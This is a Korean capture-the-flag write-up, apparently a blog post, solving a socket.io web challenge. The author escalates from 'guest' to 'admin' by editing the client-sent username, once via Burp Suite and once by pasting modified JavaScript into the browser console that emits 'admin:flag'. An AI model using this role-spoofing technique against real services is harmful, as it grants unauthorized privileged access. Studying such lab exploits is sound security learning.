< 문제 해결 >
입력 폼에 help 명령을 통해, 어떤 명령어를 입력할 수 있는지 확인하였고, flag 명령을 send 해 보았다.
flag 명령을 send 하면, 그림 2와 같이 Permission denied 란 결과가 나오며, admin 만이 flag 명령을 사용할 수 있다는 것을 확인할 수 있다.
그림 3과 같이 버프슈트를 통해, guest -> admin 으로 변경 후 socket 통신을 진행한다.
그 결과 FLAG가 출력되는 것을 확인할 수 있다.
< 다른 방법 >
< 코드 1 >
$(function () {
var username = "guest";
var socket = io();
$('form').submit(function(e){
e.preventDefault();
socket.emit('cmd',username+":"+$('#m').val());
$('#m').val('');
return false;
});
socket.on('cmd', function(msg){
$('#messages').append($('<li>').text(msg));
});
});
위 코드 1과 같이 username이 guest로 선언되어 있다. 이를 아래 코드 2와 같이 변경 후 콘솔 창에 입력하여 함수를 변경해준다.
< 코드 2 >
$(function () {
var username = "admin";
var socket = io();
$('form').submit(function(e){
e.preventDefault();
socket.emit('cmd',username+":flag");
$('#m').val('');
return false;
});
socket.on('cmd', function(msg){
$('#messages').append($('<li>').text(msg));
});
});
그런 후 send를 누르게 되면, 위 코드 2에서 socket.emit() 한대로, flag가 출력되어 진다.
한줄 평 : flag 명령은 도저히 생각을... 센스가 많이 부족한듯 싶다... 그래도 덕분에 socket 공부를.!
< 참고 >
https://doqtqu.tistory.com/347
https://www.cobalt.io/blog/web-socket-vulnerabilites